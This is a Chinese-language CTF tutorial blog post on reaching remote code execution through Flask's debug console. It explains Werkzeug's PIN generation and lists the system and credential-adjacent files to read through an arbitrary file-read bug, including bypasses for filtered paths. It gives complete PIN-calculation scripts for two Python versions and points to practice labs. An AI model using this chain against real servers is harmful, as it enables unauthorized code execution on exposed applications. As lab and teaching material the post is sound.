flask开启debug模式通过算pin rce

赶时间速成的话先看总结。

算是比较老的一个常用姿势了。

利用的基础是有一个任意文件读取

如果这里讲得不清楚,建议看ctfshow的视频,b站有

靶场

先贴一下靶场,大家可以到这里复现

BUU-[GYCTF2020]FlaskApp

CTFSHOW-web801

nss不知道有没有(

flask的几种开启debug模式的方法

1.app.run 传参debug=true

1
app.run(debug=True)

2.设置app的配置

1
2
app = Flask(__name__)
app.config['DEBUG'] = True

3.配置文件方式

config.py中添加debug模式

1
DEBUG = True

app.py中引用配置

1
2
import config
app.config.from_object(config)

什么是PIN

pin码通常用于验证身份,例如windows就有pin码可代替密码登录。

以下的pin码指的是flask开启debug模式下,运行代码调试模式的pin码。通过输入正确的pin码就可以进入flask的代码调试模式,代码调试模式里可以运行输入的python代码,自然就能rce了。

flask的pin码是类似于

1
103-770-062

这个样子的,如果爆破的话,9位数,这是不太现实的。

flask生成pin

flask pin码生成的源码位于(路径不一样的,可以自己尝试找找

1
/usr/local/lib/python3.8/dist-packages/werkzeug/debug/__init__.py

我的是3.8.10的,主要代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
def get_pin_and_cookie_name(
app: WSGIApplication,
) -> tuple[str, str] | tuple[None, None]:
"""Given an application object this returns a semi-stable 9 digit pin
code and a random key. The hope is that this is stable between
restarts to not make debugging particularly frustrating. If the pin
was forcefully disabled this returns `None`.

Second item in the resulting tuple is the cookie name for remembering.
"""
pin = os.environ.get("WERKZEUG_DEBUG_PIN")
rv = None
num = None

# Pin was explicitly disabled
if pin == "off":
return None, None

# Pin was provided explicitly
if pin is not None and pin.replace("-", "").isdecimal():
# If there are separators in the pin, return it directly
if "-" in pin:
rv = pin
else:
num = pin

modname = getattr(app, "__module__", t.cast(object, app).__class__.__module__)
username: str | None

try:
# getuser imports the pwd module, which does not exist in Google
# App Engine. It may also raise a KeyError if the UID does not
# have a username, such as in Docker.
username = getpass.getuser()
except (ImportError, KeyError):
username = None

mod = sys.modules.get(modname)

# This information only exists to make the cookie unique on the
# computer, not as a security feature.
probably_public_bits = [
username,
modname,
getattr(app, "__name__", type(app).__name__),
getattr(mod, "__file__", None),
]

# This information is here to make it harder for an attacker to
# guess the cookie name. They are unlikely to be contained anywhere
# within the unauthenticated debug page.
private_bits = [str(uuid.getnode()), get_machine_id()]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzd{h.hexdigest()[:20]}"

# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]

# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num

return rv, cookie_name

看这两段

1
2
3
4
5
6
7
8
9
probably_public_bits = [
username,
modname,
getattr(app, "__name__", type(app).__name__),
getattr(mod, "__file__", None),
]

private_bits = [str(uuid.getnode()), get_machine_id()]

这六个因素影响pin码的生成,如果获取到这六个值就可以计算出pin码了。

同时还需要注意一点,如果环境变量中指定了PIN码,则直接使用该PIN码;否则,才会根据应用对象的一些信息和一些随机数生成一个PIN码(这个才是需要计算的。

flask算pin

下面进入正题,flask算pin。

从一篇文章看到,你可以将flask的debug模式理解为官方的一个带密码的后门,很形象。

debug模式默认地址

默认地址为console

长这个样子

image-20230529145927170

1.username

源码中

1
2
3
4
5
6
7
try:
# getuser imports the pwd module, which does not exist in Google
# App Engine. It may also raise a KeyError if the UID does not
# have a username, such as in Docker.
username = getpass.getuser()
except (ImportError, KeyError):
username = None

这个值可以通过读取/etc/passwd,获取用户信息,查看哪些用户有shell环境猜测。

一般是root、app这样的(读一下,不要乱试

2.modname

1
modname = getattr(app, "__module__", t.cast(object, app).__class__.__module__)

默认值:flask.app

3.appname

1
getattr(app, "__name__", type(app).__name__)

默认值:Flask

4.moddir

1
getattr(mod, "__file__", None)

可以通过报错得到

image-20230529154646391

也可以猜,通过常见的路径尝试读取。

5.uuidnode

1
str(uuid.getnode())

读取/sys/class/net/eth0/address

读到类似于

1
02:42:ac:0c:0a:f9

转十进制

1
2485377567481

6.machine_id

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
def get_machine_id() -> str | bytes | None:
global _machine_id

if _machine_id is not None:
return _machine_id

def _generate() -> str | bytes | None:
linux = b""

# machine-id is stable across boots, boot_id is not.
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
try:
with open(filename, "rb") as f:
value = f.readline().strip()
except OSError:
continue

if value:
linux += value
break

# Containers share the same machine id, add some cgroup
# information. This is used outside containers too but should be
# relatively stable across boots.
try:
with open("/proc/self/cgroup", "rb") as f:
linux += f.readline().strip().rpartition(b"/")[2]
except OSError:
pass

if linux:
return linux

# On OS X, use ioreg to get the computer's serial number.
try:
# subprocess may not be available, e.g. Google App Engine
# https://github.com/pallets/werkzeug/issues/925
from subprocess import Popen, PIPE

dump = Popen(
["ioreg", "-c", "IOPlatformExpertDevice", "-d", "2"], stdout=PIPE
).communicate()[0]
match = re.search(b'"serial-number" = <([^>]+)', dump)

if match is not None:
return match.group(1)
except (OSError, ImportError):
pass

# On Windows, use winreg to get the machine guid.
if sys.platform == "win32":
import winreg

try:
with winreg.OpenKey(
winreg.HKEY_LOCAL_MACHINE,
"SOFTWARE\\Microsoft\\Cryptography",
0,
winreg.KEY_READ | winreg.KEY_WOW64_64KEY,
) as rk:
guid: str | bytes
guid_type: int
guid, guid_type = winreg.QueryValueEx(rk, "MachineGuid")

if guid_type == winreg.REG_SZ:
return guid.encode("utf-8")

return guid
except OSError:
pass

return None

_machine_id = _generate()
return _machine_id

这个值相对其他的麻烦一点,从/etc/machine-id和/proc/sys/kernel/random/boot_id读出一个就跳出(一定按这个顺序),然后再读取/proc/self/cgroup的id值拼接 所以此处machine-id为

/etc/machine-id + /proc/self/cgroup

或 /proc/sys/kernel/random/boot_id + /proc/self/cgroup

/proc/self/cgroup的id值为读取文件的第一行,并从右边开始查找最后一个出现的 “/“ 符号后的值

形如

image-20230529165548912

kubepods特例

kubepods中的docker容器id长得不太一样,他是这样的

image-20230722224456625

也不太算特例,但是如果大家按docker/这样的记法的话就会有疑惑,记住是最后一个斜杠后的值就行了

过滤了self和cgroup情况下

这个trick我第一次遇到是在HSCCTF,题目过滤了self和cgroup

可以参考我这篇题解

HSCCTF 2023 - Aru3h@rk’s Blog (emoment.top)

当时搜索到这篇文章

读取/proc/self/cgroup可换为

/proc/self/cpuset

或/proc/self/mounts(这个可能不行,没成功读到。

或/proc/self/mountinfo

self用具体的pid号替代(经常换为1

套入脚本计算

读取到上述的值后,即可开始代入脚本计算

注意看环境的python版本!!!生成的算法不一样

python3.8(sha1)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-03-19 12:10:55
# @Last Modified by: h1xa
# @Last Modified time: 2022-03-19 13:27:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com


import hashlib
from itertools import chain
probably_public_bits = [
'root'# uername/etc/passwd
'flask.app',# 默认值
'Flask',# 默认值
'/usr/local/lib/python3.8/site-packages/flask/app.py' # moddir 报错得到
]

private_bits = [
'2485377567794',# uuidnode /sys/class/net/eth0/address
'd1b2665b-a5c7-4542-af02-960390811e5b8826c69a38c97fc59da57d7809ab472a6650d2c4d3a3aa42f30ba1deb90ce61b'# machine_id /proc/self/cgroup and /proc/sys/kernel/random/boot_id
]
#242ac0c0232 d6b3fc68f8c582e3600bd33c09d4578e965f3646ee18fee226a60a0e23ec705d d3359121-3d5a-4f42-83d3-f8f758cc728d
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)


python3.6(md5)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import hashlib
from itertools import chain

probably_public_bits = [
'root' # username,通过/etc/passwd
'flask.app', # modname,默认值
'Flask', # 默认值
'/usr/local/lib/python3.7/site-packages/flask/app.py' # moddir,通过报错获得
]

private_bits = [
'25214234362297', # uuidnode mac十进制值 /sys/class/net/ens0/address
'0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa' #machine_id
# 以上这串可能的两种情况:
#1、/etc/machine-id + /proc/self/cgroup
#2、/proc/sys/kernel/random/boot_id + /proc/self/cgroup
]

# 下面为源码里面抄的,不需要修改
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

总结

username:/etc/passwd

moddir:报错+尝试

uuidnode:网卡/sys/class/net/eth0/address

machine_id: /etc/machine-id + /proc/self/cgroup

​ 或 /proc/sys/kernel/random/boot_id + /proc/self/cgroup

​ /proc/self/cgroup可换为/proc/self/cpuset 或 /proc/self/mountinfo

再代入对应版本的脚本计算

如果有错误的话先检查 username和machine_id,尤其是machine_id,严查!